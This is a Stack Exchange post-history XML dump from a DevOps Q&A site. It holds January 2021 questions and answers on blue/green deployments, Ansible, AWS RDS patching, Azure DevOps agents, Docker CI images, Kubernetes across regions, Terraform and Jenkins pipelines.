  <row Id="40590" PostHistoryTypeId="2" PostId="13186" RevisionGUID="cdfe0fe8-e4c7-4b88-a8e6-618086b4a897" CreationDate="2021-01-21T10:05:18.060" UserId="25731" Text="In a blue/green deployment, say you have deployed a new version to blue and things are okay so you do not need to switch back to green.&#xD;&#xA;&#xD;&#xA;Now, you deploy the new version to green so that both environments are identical, is there a term that describes this &quot;make the environments have the same version&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40591" PostHistoryTypeId="1" PostId="13186" RevisionGUID="cdfe0fe8-e4c7-4b88-a8e6-618086b4a897" CreationDate="2021-01-21T10:05:18.060" UserId="25731" Text="What is the term for updating an inactive environment with the active environment version?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40592" PostHistoryTypeId="3" PostId="13186" RevisionGUID="cdfe0fe8-e4c7-4b88-a8e6-618086b4a897" CreationDate="2021-01-21T10:05:18.060" UserId="25731" Text="&lt;terminology&gt;&lt;bluegreen&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40594" PostHistoryTypeId="2" PostId="13187" RevisionGUID="d2c5fb11-e05e-4f67-aa28-58deac1f8592" CreationDate="2021-01-21T13:40:53.997" UserId="25735" Text="I also tried to make something more &quot;practical&quot; so i just search a bit around and found the task: &quot;include_role&quot; which allows loops. So i decided to loop that task with my target roles and use a when. Here the snippet:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: &quot;Redhat&quot;&#xD;&#xA;      hosts: all&#xD;&#xA;      become: yes&#xD;&#xA;      tasks:&#xD;&#xA;        - name: ADD Roles&#xD;&#xA;          include_role:&#xD;&#xA;            name: &quot;{{role}}&quot;&#xD;&#xA;            apply:&#xD;&#xA;              ignore_errors: yes&#xD;&#xA;          with_items:&#xD;&#xA;            - role1&#xD;&#xA;            - role2&#xD;&#xA;          loop_control:&#xD;&#xA;            loop_var: role&#xD;&#xA;          when: ansible_os_family==&quot;RedHat&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40595" PostHistoryTypeId="2" PostId="13188" RevisionGUID="67b3784f-7409-4ead-ab53-6e6b60e33488" CreationDate="2021-01-21T13:47:14.693" UserId="15521" Text="We are running databases in AWS RDS (MySQL Databases), EC2 instances etc. We keep the EC2 instances up-to-date with the latest AMI based on the latest security patches etc, we do this through terraforms.&#xD;&#xA;&#xD;&#xA;I assume that, AWS RDS being a managed service does not require the kind of updates that we are following for EC2. Please correct me if I am wrong and suggest the best practice." ContentLicense="CC BY-SA 4.0" />
  <row Id="40596" PostHistoryTypeId="1" PostId="13188" RevisionGUID="67b3784f-7409-4ead-ab53-6e6b60e33488" CreationDate="2021-01-21T13:47:14.693" UserId="15521" Text="Keeping AWS RDS Instances up to date" ContentLicense="CC BY-SA 4.0" />
  <row Id="40597" PostHistoryTypeId="3" PostId="13188" RevisionGUID="67b3784f-7409-4ead-ab53-6e6b60e33488" CreationDate="2021-01-21T13:47:14.693" UserId="15521" Text="&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40598" PostHistoryTypeId="2" PostId="13189" RevisionGUID="a633256d-ee26-4727-afc6-6bd0a7fe7a0e" CreationDate="2021-01-21T14:11:15.610" UserId="25736" Text="We have set up the Azure DevOps Release Pipeline with a custom Agent that is running in Azure VM.&#xD;&#xA;Agent (interactive) starts via:&#xD;&#xA;&#xD;&#xA;    C:\windows\system32\cmd.exe /D /S /C start &quot;Agent with AutoLogon&quot; &quot;C:\agent\run.cmd&quot; --startuptype autostartup &#xD;&#xA;&#xD;&#xA;User that is automatically logged in (and runs the command above) VM is part of Administrator group. Everything runs fine until I try to run &quot;PowerShell Script&quot; which requires admin privileges. For example &quot;Import-Certificate&quot; command gives me &quot;Access Denied&quot; error.&#xD;&#xA;I know about workaround with&#xD;&#xA;&#xD;&#xA;    Start-Process powershell -ArgumentList 'command' -Verb RunAs&#xD;&#xA;That is working fine, but with this, I am missing the output of the 'command'. &#xD;&#xA;I mean, whether the 'command' fails or succeeds it does not notify back to output.&#xD;&#xA;&#xD;&#xA;Any ideas on how can I run elevated PS or what other permissions to configure?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40599" PostHistoryTypeId="1" PostId="13189" RevisionGUID="a633256d-ee26-4727-afc6-6bd0a7fe7a0e" CreationDate="2021-01-21T14:11:15.610" UserId="25736" Text="DevOps Custom Agent - PowerShell permission" ContentLicense="CC BY-SA 4.0" />
  <row Id="40600" PostHistoryTypeId="3" PostId="13189" RevisionGUID="a633256d-ee26-4727-afc6-6bd0a7fe7a0e" CreationDate="2021-01-21T14:11:15.610" UserId="25736" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40607" PostHistoryTypeId="2" PostId="13191" RevisionGUID="8da22704-808f-4e4c-a130-5e9d32d5ab10" CreationDate="2021-01-21T17:06:19.637" UserId="132" Text="Your assumption is correct: you will not need to perform patching on an RDS instance, AWS handles that for you. There is a caveat, though: the majority of updates are not _forced_ by AWS, but require an automated maintenance window to execute.&#xD;&#xA;&#xD;&#xA;&gt; Periodically, Amazon RDS performs maintenance on Amazon RDS resources. Maintenance most often involves updates to the DB instance's underlying hardware, underlying operating system (OS), or database engine version. Updates to the operating system most often occur for security issues and should be done as soon as possible.&#xD;&#xA;&#xD;&#xA;&gt; Some maintenance items require that Amazon RDS take your DB instance offline for a short time. Maintenance items that require a resource to be offline include required operating system or database patching. Required patching is automatically scheduled only for patches that are related to security and instance reliability. Such patching occurs infrequently (typically once every few months) and seldom requires more than a fraction of your maintenance window.&#xD;&#xA;&#xD;&#xA;Source: [Maintaining a DB Instance][1]&#xD;&#xA;&#xD;&#xA;That document has a lot of useful information about the types of maintenance, the maintenance windows, and the manual actions you can take.&#xD;&#xA;&#xD;&#xA;Database engines need patching, too, and AWS refers to this as a minor engine upgrade. When necessary, these upgrades happen during the aforementioned maintenance windows, **but** you need to ensure your RDS instance has **Auto Minor Version Upgrade** enabled to take advantage of this feature.&#xD;&#xA;&#xD;&#xA;Source: [Automatically Upgrading a Minor Engine Version][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_UpgradeDBInstance.Maintenance.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_UpgradeDBInstance.Upgrading.html#USER_UpgradeDBInstance.Upgrading.AutoMinorVersionUpgrades" ContentLicense="CC BY-SA 4.0" />
  <row Id="40610" PostHistoryTypeId="2" PostId="13193" RevisionGUID="836f51f9-ecca-4a6a-877b-a6f3a1a20503" CreationDate="2021-01-21T18:33:19.057" UserId="17811" Text="Based on the information you provided, Your test infrastucture rebuild even the test container from scratch.&#xD;&#xA;&#xD;&#xA;Basically a docker image with all re build tool requirement baked into it.&#xD;&#xA;&#xD;&#xA;You tests take a long time to be done as those lines indicate also a fresh composing of the docker container:&#xD;&#xA;&#xD;&#xA;&gt;(1/11) Installing ca-certificates (20191127-r2) \&#xD;&#xA;(2/11) Installing nghttp2-libs (1.40.0-r1) \&#xD;&#xA;(3/11) Installing libcurl (7.67.0-r3) \&#xD;&#xA;(4/11) Installing expat (2.2.9-r1) \&#xD;&#xA;(5/11) Installing pcre2 (10.34-r1) \&#xD;&#xA;(6/11) Installing git (2.24.3-r0) \&#xD;&#xA;(7/11) Installing c-ares (1.15.0-r0) \&#xD;&#xA;(8/11) Installing libgcc (9.3.0-r0) \&#xD;&#xA;(9/11) Installing libstdc++ (9.3.0-r0) \&#xD;&#xA;(10/11) Installing nodejs (12.20.1-r0) \&#xD;&#xA;(11/11) Installing yarn (1.19.2-r0)&#xD;&#xA;&#xD;&#xA;If you build a docker image with those thing preinstalled, your Tests will run much faster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40611" PostHistoryTypeId="5" PostId="13193" RevisionGUID="61d38dd9-9228-4f77-b026-a938d5a8133b" CreationDate="2021-01-21T18:40:59.863" UserId="17811" Comment="added 175 characters in body, remove sentence" Text="Can you explain the reason for why the &quot;step_script&quot; installs the dependencies and not use a brebuild images thta has all the dependencies installed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Solution ###&#xD;&#xA;&#xD;&#xA;Based on the information you provided, Your test infrastucture rebuild even the test container from scratch.&#xD;&#xA;&#xD;&#xA;You tests take a long time to be done as those lines indicate also a fresh composing of the docker container:&#xD;&#xA;&#xD;&#xA;&gt;(1/11) Installing ca-certificates (20191127-r2) \&#xD;&#xA;(2/11) Installing nghttp2-libs (1.40.0-r1) \&#xD;&#xA;(3/11) Installing libcurl (7.67.0-r3) \&#xD;&#xA;(4/11) Installing expat (2.2.9-r1) \&#xD;&#xA;(5/11) Installing pcre2 (10.34-r1) \&#xD;&#xA;(6/11) Installing git (2.24.3-r0) \&#xD;&#xA;(7/11) Installing c-ares (1.15.0-r0) \&#xD;&#xA;(8/11) Installing libgcc (9.3.0-r0) \&#xD;&#xA;(9/11) Installing libstdc++ (9.3.0-r0) \&#xD;&#xA;(10/11) Installing nodejs (12.20.1-r0) \&#xD;&#xA;(11/11) Installing yarn (1.19.2-r0)&#xD;&#xA;&#xD;&#xA;If you build a docker image with those thing preinstalled, your Tests will run much faster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40612" PostHistoryTypeId="5" PostId="13193" RevisionGUID="f4740ee1-d0b3-42f8-a124-851795bedb78" CreationDate="2021-01-21T18:51:48.953" UserId="17811" Comment="edited body" Text="Can you explain the reason for why the &quot;step_script&quot; installs the dependencies and not use a prebuild images that has all the dependencies installed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Solution ###&#xD;&#xA;&#xD;&#xA;Based on the information you provided, Your test infrastucture rebuild even the test container from scratch.&#xD;&#xA;&#xD;&#xA;You tests take a long time to be done as those lines indicate also a fresh composing of the docker container:&#xD;&#xA;&#xD;&#xA;&gt;(1/11) Installing ca-certificates (20191127-r2) \&#xD;&#xA;(2/11) Installing nghttp2-libs (1.40.0-r1) \&#xD;&#xA;(3/11) Installing libcurl (7.67.0-r3) \&#xD;&#xA;(4/11) Installing expat (2.2.9-r1) \&#xD;&#xA;(5/11) Installing pcre2 (10.34-r1) \&#xD;&#xA;(6/11) Installing git (2.24.3-r0) \&#xD;&#xA;(7/11) Installing c-ares (1.15.0-r0) \&#xD;&#xA;(8/11) Installing libgcc (9.3.0-r0) \&#xD;&#xA;(9/11) Installing libstdc++ (9.3.0-r0) \&#xD;&#xA;(10/11) Installing nodejs (12.20.1-r0) \&#xD;&#xA;(11/11) Installing yarn (1.19.2-r0)&#xD;&#xA;&#xD;&#xA;If you build a docker image with those thing preinstalled, your Tests will run much faster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40613" PostHistoryTypeId="2" PostId="13194" RevisionGUID="472e5e27-158e-44e8-a5a1-8c88ff8648dd" CreationDate="2021-01-21T18:52:30.627" UserId="6162" Text="First, etcd is a core component in Kubernetes clusters. It is based on the [Raft Consensus Algorithm][1] and a **weaker point** with it is when the latency between the members (e.g. in the distribued etcd database) in the cluster is _larger_ and _vary more_. It might work to deploy it with longer latency between the nodes (e.g. regions as in cross-region) but it might not be the best idea, at least not out of the box.&#xD;&#xA;&#xD;&#xA;But if you use cross-region deployments, one of the main reason to do it is probably to tolerate a full region outage - but then I think it is even a better idea to deploy independent (e.g. can work without the other) clusters.&#xD;&#xA;&#xD;&#xA;What might be interesting in relation to this is [Kubernetes Federation Evolution][2] and [kubefed][3].&#xD;&#xA;&#xD;&#xA;I don't see VPN (e.g. a single network?) very related to this (this is more its own topic) - at least not when you want independent clusters. SSL/TLS might also be related. And if you do cross-regions, e.g. Software Defined Network or cloud VPC might be related as well. E.g. [Amazon VPC][4] is located on a single region, but [Google Cloud VPC][5] is global (multi-region).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://raft.github.io/&#xD;&#xA;  [2]: https://kubernetes.io/blog/2018/12/12/kubernetes-federation-evolution/&#xD;&#xA;  [3]: https://github.com/kubernetes-sigs/kubefed&#xD;&#xA;  [4]: https://aws.amazon.com/vpc/&#xD;&#xA;  [5]: https://cloud.google.com/vpc" ContentLicense="CC BY-SA 4.0" />
  <row Id="40614" PostHistoryTypeId="5" PostId="13193" RevisionGUID="413e7507-3898-47e4-9cb0-abb3ef49bb68" CreationDate="2021-01-21T19:03:43.787" UserId="17811" Comment="added 100 characters in body" Text="Can you explain the reason for why the &quot;step_script&quot; installs the dependencies and not use a prebuild images that has all the dependencies installed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Solution ###&#xD;&#xA;&#xD;&#xA;Based on the information you provided, Your test infrastucture rebuild even the test container from scratch.&#xD;&#xA;&#xD;&#xA;You tests take a long time to be done as those lines indicate also a fresh composing of the docker container:&#xD;&#xA;&#xD;&#xA;&gt;(1/11) Installing ca-certificates (20191127-r2) \&#xD;&#xA;(2/11) Installing nghttp2-libs (1.40.0-r1) \&#xD;&#xA;(3/11) Installing libcurl (7.67.0-r3) \&#xD;&#xA;(4/11) Installing expat (2.2.9-r1) \&#xD;&#xA;(5/11) Installing pcre2 (10.34-r1) \&#xD;&#xA;(6/11) Installing git (2.24.3-r0) \&#xD;&#xA;(7/11) Installing c-ares (1.15.0-r0) \&#xD;&#xA;(8/11) Installing libgcc (9.3.0-r0) \&#xD;&#xA;(9/11) Installing libstdc++ (9.3.0-r0) \&#xD;&#xA;(10/11) Installing nodejs (12.20.1-r0) \&#xD;&#xA;(11/11) Installing yarn (1.19.2-r0)&#xD;&#xA;&#xD;&#xA;If you build a docker image with those thing preinstalled, your Tests will run much faster.&#xD;&#xA;&#xD;&#xA;This Process creates clean environment where the only change to it will be the code that has changed!!" ContentLicense="CC BY-SA 4.0" />
  <row Id="40615" PostHistoryTypeId="5" PostId="13193" RevisionGUID="e4bae625-1d42-4006-ad12-4398a5d109ab" CreationDate="2021-01-21T19:17:51.153" UserId="17811" Comment="added 76 characters in body" Text="Can you explain the reason for why the &quot;step_script&quot; installs the dependencies and not use a prebuild images that has all the dependencies installed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Solution ###&#xD;&#xA;&#xD;&#xA;Based on the information you provided, Your test infrastucture rebuild even the test container from scratch.&#xD;&#xA;&#xD;&#xA;You tests take a long time to be done as those lines indicate also a fresh composing of the docker container:&#xD;&#xA;&#xD;&#xA;&gt;(1/11) Installing ca-certificates (20191127-r2) \&#xD;&#xA;(2/11) Installing nghttp2-libs (1.40.0-r1) \&#xD;&#xA;(3/11) Installing libcurl (7.67.0-r3) \&#xD;&#xA;(4/11) Installing expat (2.2.9-r1) \&#xD;&#xA;(5/11) Installing pcre2 (10.34-r1) \&#xD;&#xA;(6/11) Installing git (2.24.3-r0) \&#xD;&#xA;(7/11) Installing c-ares (1.15.0-r0) \&#xD;&#xA;(8/11) Installing libgcc (9.3.0-r0) \&#xD;&#xA;(9/11) Installing libstdc++ (9.3.0-r0) \&#xD;&#xA;(10/11) Installing nodejs (12.20.1-r0) \&#xD;&#xA;(11/11) Installing yarn (1.19.2-r0)&#xD;&#xA;&#xD;&#xA;If you build a docker image with those thing preinstalled, your Tests will run much faster.&#xD;&#xA;&#xD;&#xA;This Process creates clean environment where the only change to it will be the code that has changed!!&#xD;&#xA;&#xD;&#xA;The new Docker image then need to be only pulled ones and can be reused." ContentLicense="CC BY-SA 4.0" />
  <row Id="40616" PostHistoryTypeId="2" PostId="13195" RevisionGUID="9d87346f-62f4-43c1-8d12-4a8028d0b918" CreationDate="2021-01-21T21:33:51.967" UserId="5910" Text="I have deployed a project within Terraform. I need to add a 4th application module to my existing plan. How do I update my plan to include this 4th module and deploy the missing module without starting over? I thought terraform import might be an option, but I'm not understanding how it would be done." ContentLicense="CC BY-SA 4.0" />
  <row Id="40617" PostHistoryTypeId="1" PostId="13195" RevisionGUID="9d87346f-62f4-43c1-8d12-4a8028d0b918" CreationDate="2021-01-21T21:33:51.967" UserId="5910" Text="How can I add another module to my existing Terraform deployment plan?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40618" PostHistoryTypeId="3" PostId="13195" RevisionGUID="9d87346f-62f4-43c1-8d12-4a8028d0b918" CreationDate="2021-01-21T21:33:51.967" UserId="5910" Text="&lt;terraform&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40624" PostHistoryTypeId="4" PostId="13184" RevisionGUID="1c0954c9-377a-4f8b-97c2-15ed91640e90" CreationDate="2021-01-22T08:30:28.097" UserId="25751" Comment="Improved the grammar of the title" Text="Is cross-region Kubernetes a thing, and if so, what role does VPN place in this context?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40625" PostHistoryTypeId="24" PostId="13184" RevisionGUID="1c0954c9-377a-4f8b-97c2-15ed91640e90" CreationDate="2021-01-22T08:30:28.097" Comment="Proposed by 25751 approved by 707 edit id of 1328" ContentLicense="CC BY-SA 4.0" />
  <row Id="40626" PostHistoryTypeId="2" PostId="13197" RevisionGUID="427965ec-21b6-4c1c-938b-99dfa0770b1d" CreationDate="2021-01-22T08:34:10.120" UserId="25752" Text="This could also be happening if you perform a `docker login` before the `docker pull` in a gitlab runnner as instructed if:&#xD;&#xA;&#xD;&#xA;Your shell runner is configured to run multiple builds and all the builds share the same home directory /home/gitlab-runner-username. Per default `docker login` saves the credentials in ~/.docker/config.json. When there is multiple build jobs running the second build job may overwrite the credentials of the first one. When the second one is triggered by a different user or finishes before the first one, the first one may get the `denied: &#xD;&#xA; requested access to the resource is denied` message even tough you logged in properly.&#xD;&#xA;&#xD;&#xA;On our servers i solved this by using a custom [credentials script](https://gist.github.com/ap-wtioit/5e8379a1acc74affffe15f754ef1f6e1) that does not store the credentials in a shared file but uses the credentials present in the [gitlab ci job environment](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40632" PostHistoryTypeId="2" PostId="13199" RevisionGUID="379a60c2-c781-4862-a50d-bb9d3901031b" CreationDate="2021-01-22T11:06:34.403" UserId="23864" Text="I'm trying create Grafana dashboard to monitor our infrastructure, installed and configured Grafana, Prometheus.&#xD;&#xA;&#xD;&#xA;configured/created datasource is fine, yet every graph is showing NA(not available?)&#xD;&#xA;&#xD;&#xA;Grafana  7.3.7 |&#xD;&#xA;Prometheus 2.1.0+ds |&#xD;&#xA;Node Exporter 0.15.2+ds&#xD;&#xA;&#xD;&#xA;Is there anything that I'm missing here, any help/pointers please.&#xD;&#xA;&#xD;&#xA;followed this article - https://oastic.com/posts/how-to-monitor-an-ubuntu-server-with-grafana-prometheus/." ContentLicense="CC BY-SA 4.0" />
  <row Id="40633" PostHistoryTypeId="1" PostId="13199" RevisionGUID="379a60c2-c781-4862-a50d-bb9d3901031b" CreationDate="2021-01-22T11:06:34.403" UserId="23864" Text="Grafana dashboard isn't populating any data (using Node exporter)" ContentLicense="CC BY-SA 4.0" />
  <row Id="40634" PostHistoryTypeId="3" PostId="13199" RevisionGUID="379a60c2-c781-4862-a50d-bb9d3901031b" CreationDate="2021-01-22T11:06:34.403" UserId="23864" Text="&lt;prometheus&gt;&lt;grafana&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40635" PostHistoryTypeId="5" PostId="13193" RevisionGUID="73850097-1b3e-4724-b385-3de26f0f4dc1" CreationDate="2021-01-22T11:41:11.820" UserId="17811" Comment="build infra explain" Text="Can you explain the reason for why the &quot;step_script&quot; installs the dependencies and not use a prebuild images that has all the dependencies installed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Solution ###&#xD;&#xA;&#xD;&#xA;Based on the information you provided, Your test infrastucture rebuild even the test container from scratch.&#xD;&#xA;&#xD;&#xA;You tests take a long time to be done as those lines indicate also a fresh composing of the docker container:&#xD;&#xA;&#xD;&#xA;&gt;(1/11) Installing ca-certificates (20191127-r2) \&#xD;&#xA;(2/11) Installing nghttp2-libs (1.40.0-r1) \&#xD;&#xA;(3/11) Installing libcurl (7.67.0-r3) \&#xD;&#xA;(4/11) Installing expat (2.2.9-r1) \&#xD;&#xA;(5/11) Installing pcre2 (10.34-r1) \&#xD;&#xA;(6/11) Installing git (2.24.3-r0) \&#xD;&#xA;(7/11) Installing c-ares (1.15.0-r0) \&#xD;&#xA;(8/11) Installing libgcc (9.3.0-r0) \&#xD;&#xA;(9/11) Installing libstdc++ (9.3.0-r0) \&#xD;&#xA;(10/11) Installing nodejs (12.20.1-r0) \&#xD;&#xA;(11/11) Installing yarn (1.19.2-r0)&#xD;&#xA;&#xD;&#xA;If you build a docker image with those thing preinstalled, your Tests will run much faster.&#xD;&#xA;&#xD;&#xA;This Process creates clean environment where the only change to it will be the code that has changed!!&#xD;&#xA;&#xD;&#xA;The new Docker image then need to be only pulled ones and can be reused.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# Build/test infra #&#xD;&#xA;&#xD;&#xA;`docker run -v &quot;$(pwd)&quot;/target:/app:ro -name BUILDID jdalrymple/docker-compose-with-node yarn test`&#xD;&#xA;&#xD;&#xA;run that for each of your tests.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40636" PostHistoryTypeId="2" PostId="13200" RevisionGUID="fe5aabe6-b5e8-4e58-a05c-1a753ef6a630" CreationDate="2021-01-22T11:41:23.277" UserId="25755" Text="Is it possible to deploy from Azure DevOps to an Azure VM that only has a private IP address? I need to deploy to VM's that won't always have a public IP address.&#xD;&#xA;&#xD;&#xA;I thought there might have been some internal Azure network that could be used but running the deployment agent script on my VM without a public IP fails (it works if the machine does have a public IP). Other than that can Azure DevOps connect to a Azure VPN (Virtual Network Gateway) to access the VM's on my Virtual Network?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40637" PostHistoryTypeId="1" PostId="13200" RevisionGUID="fe5aabe6-b5e8-4e58-a05c-1a753ef6a630" CreationDate="2021-01-22T11:41:23.277" UserId="25755" Text="Azure DevOps deploy to Azure VM's without a public IP" ContentLicense="CC BY-SA 4.0" />
  <row Id="40638" PostHistoryTypeId="3" PostId="13200" RevisionGUID="fe5aabe6-b5e8-4e58-a05c-1a753ef6a630" CreationDate="2021-01-22T11:41:23.277" UserId="25755" Text="&lt;azure-devops&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40642" PostHistoryTypeId="2" PostId="13201" RevisionGUID="1cc25da7-c8f7-470c-8a1d-28e18b99c9c6" CreationDate="2021-01-22T15:32:09.790" UserId="3062" Text="Azure DevOps is already replicated across multiple Azure Data Centers.  They did this after the south east data center hosting Azure Devops (then VSTS) went down for a few days, bringing down the service.  By going with a cloud provider, this is one of the benefits you (assume) you get.  Automatic (geo)replication/redundancy of SAAS products.  You don't have to manage this, but if something goes wrong, you have no control (or responsibility) to fix it." ContentLicense="CC BY-SA 4.0" />
  <row Id="40643" PostHistoryTypeId="5" PostId="12123" RevisionGUID="4f382500-792f-4dbe-acdb-aa70e660f439" CreationDate="2021-01-22T16:51:56.660" UserId="7078" Comment="Fix small typos" Text="There are two parts to owning a domain. The registration, and the hosting of the DNS entries. As you are transferring the domain registration, AWS needs to know whose service do you want to use for managing your DNS host names and other settings.&#xD;&#xA;&#xD;&#xA;As a sensible default, select option (1) as this will keep everything managed with the current registrar / hosting company and so nothing will break (at this point in time). When your hosting expires with this company, its quite likely they will drop all of your DNS settings as well, in which case you will need to have migrated somewhere else before this point (options 2 and 3)&#xD;&#xA;&#xD;&#xA;However, if you are using AWS services you really should be managing the DNS settings in AWS and create a Route 53 hosted zone. This provides better integration with the AWS environment, and allows you to use some of the &quot;AWS aware&quot; aspects of Route53 for your infrastructure.  Assuming that you initially selected option 1, you should then set up a parallel zone in Route53, verify all of the DNS records match (except NS settings for the domain) and then update your Domain registration to use option 2. Changing this setting can take 72 hours to roll across the internet. In my experience, usually 90% of the internet knows in under 6 hours.&#xD;&#xA;&#xD;&#xA;Option 3 means you (or someone else) is managing the Domain DNS master server for your domain. There may be situations where this makes sense, but they are rare." ContentLicense="CC BY-SA 4.0" />
  <row Id="40644" PostHistoryTypeId="24" PostId="12123" RevisionGUID="4f382500-792f-4dbe-acdb-aa70e660f439" CreationDate="2021-01-22T16:51:56.660" Comment="Proposed by 7078 approved by 40 edit id of 1330" ContentLicense="CC BY-SA 4.0" />
  <row Id="40645" PostHistoryTypeId="2" PostId="13202" RevisionGUID="89cda72f-7aaa-479d-bd33-4050ac049475" CreationDate="2021-01-22T17:20:49.730" UserId="25761" Text="I am using a scripted pipeline where I am required to skip some stages conditionally.Is there a way to show skipped stages on Jenkins UI other than importing **org.jenkinsci.plugins.pipeline.modeldefinition.Utils** in the jenkinsfile as the import is giving me &quot;cannot resolve class&quot; error while running build.gradle for some other script." ContentLicense="CC BY-SA 4.0" />
  <row Id="40646" PostHistoryTypeId="1" PostId="13202" RevisionGUID="89cda72f-7aaa-479d-bd33-4050ac049475" CreationDate="2021-01-22T17:20:49.730" UserId="25761" Text="Skip stages in Jenkins pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="40647" PostHistoryTypeId="3" PostId="13202" RevisionGUID="89cda72f-7aaa-479d-bd33-4050ac049475" CreationDate="2021-01-22T17:20:49.730" UserId="25761" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40648" PostHistoryTypeId="2" PostId="13203" RevisionGUID="fa4d6262-ab9b-4034-9fb7-8c8b6eb07c9c" CreationDate="2021-01-22T17:44:59.453" UserId="7385" Text="I am trying the access the values set on a job's configuration page from within my pipeline.  These values are not made available as params, nor are they injected as envvars.&#xD;&#xA;&#xD;&#xA;**Setup**&#xD;&#xA; - Jenkins, v2.263.1&#xD;&#xA; - GitLab Branch Source plugin, v1.5.3 ([link][1])&#xD;&#xA; - Multibranch pipeline job which is pointed to a Gitlab repo&#xD;&#xA; - Remote Jenkinsfile Provider, v1.13 ([link][2])&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;Ordinarily, one would have a *Jenkinsfile* in the root of the repo and therefore the scm would be associated with the repo we want to checkout and build.  However, in my case the code I want to build is in a different repo to the Jenkinsfile (hence the *Remote Jenkinsfile Provider* plugin).&#xD;&#xA;&#xD;&#xA;This means that I need to checkout the code I wish to build as an explicit step in the pipeline, and to do that I need to know the repo.  This repo is, however, already defined in the job config.&#xD;&#xA;&#xD;&#xA;The *Branch Source* plugin does export things like the branch name or merge request number/branch/target into appropriate envvars, but NOT the actual repo.&#xD;&#xA;&#xD;&#xA;As this is a multibranch pipeline, I cannot use something like *envInject* either (multibranch jobs do not provide the option to 'Prepare an environment for the run' as with other jobs)&#xD;&#xA;&#xD;&#xA;**Goal**&#xD;&#xA;&#xD;&#xA;I would like to be able to access the `server`, `owner` and `project` fields set in the job config page. Ultimately I could manage with just the project's ssh/http address even.&#xD;&#xA;&#xD;&#xA;**Is there some clever way of accessing a job's config from within the pipeline?**&#xD;&#xA;&#xD;&#xA;Thanks for any suggestions!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Reference images**&#xD;&#xA;&#xD;&#xA;[![GitLab Branch Source settings in job config][3]][3]&#xD;&#xA;[![Remote Jenkinsfile Provider settings in job config][4]][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/gitlab-branch-source-plugin&#xD;&#xA;  [2]: https://github.com/jenkinsci/remote-file-plugin&#xD;&#xA;  [3]: https://i.stack.imgur.com/W6GtY.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/0CGNu.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="40649" PostHistoryTypeId="1" PostId="13203" RevisionGUID="fa4d6262-ab9b-4034-9fb7-8c8b6eb07c9c" CreationDate="2021-01-22T17:44:59.453" UserId="7385" Text="Jenkins: Access job/plugin configuration values inside pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="40650" PostHistoryTypeId="3" PostId="13203" RevisionGUID="fa4d6262-ab9b-4034-9fb7-8c8b6eb07c9c" CreationDate="2021-01-22T17:44:59.453" UserId="7385" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;gitlab&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40651" PostHistoryTypeId="2" PostId="13204" RevisionGUID="a2f0ff3e-2baa-4c60-913e-66458009290b" CreationDate="2021-01-22T19:43:51.843" UserId="25401" Text="Is it possible to declare &quot;a complete production level EKS with other aws services&quot; using terraform? I know that terraform has [an eks module][1] and [an aws provider][2]. But I'm not sure if one can create everything (ALB, IAM roles and policies, security groups, ebs, efs, rds, aws networking, ...) using terraform.&#xD;&#xA;&#xD;&#xA;I want to learn aws by experimenting. But I cannot afford spending that much money. So I need to be able to destroy everything and recreate the exact infrastructure whenever it's needed.&#xD;&#xA;&#xD;&#xA;I've found a really good [aws workshop][3]. But like almost all of tutorials, it's based on running &quot;eksctl and aws cli&quot; commands.&#xD;&#xA;&#xD;&#xA;Is there a reliable way of declaring everything once and recreate the whole infrastructure declarativly (without touching aws console)?&#xD;&#xA;&#xD;&#xA;  [1]: https://registry.terraform.io/modules/terraform-aws-modules/eks/aws/latest&#xD;&#xA;  [2]: https://registry.terraform.io/providers/hashicorp/aws/latest/docs&#xD;&#xA;  [3]: https://www.eksworkshop.com/" ContentLicense="CC BY-SA 4.0" />
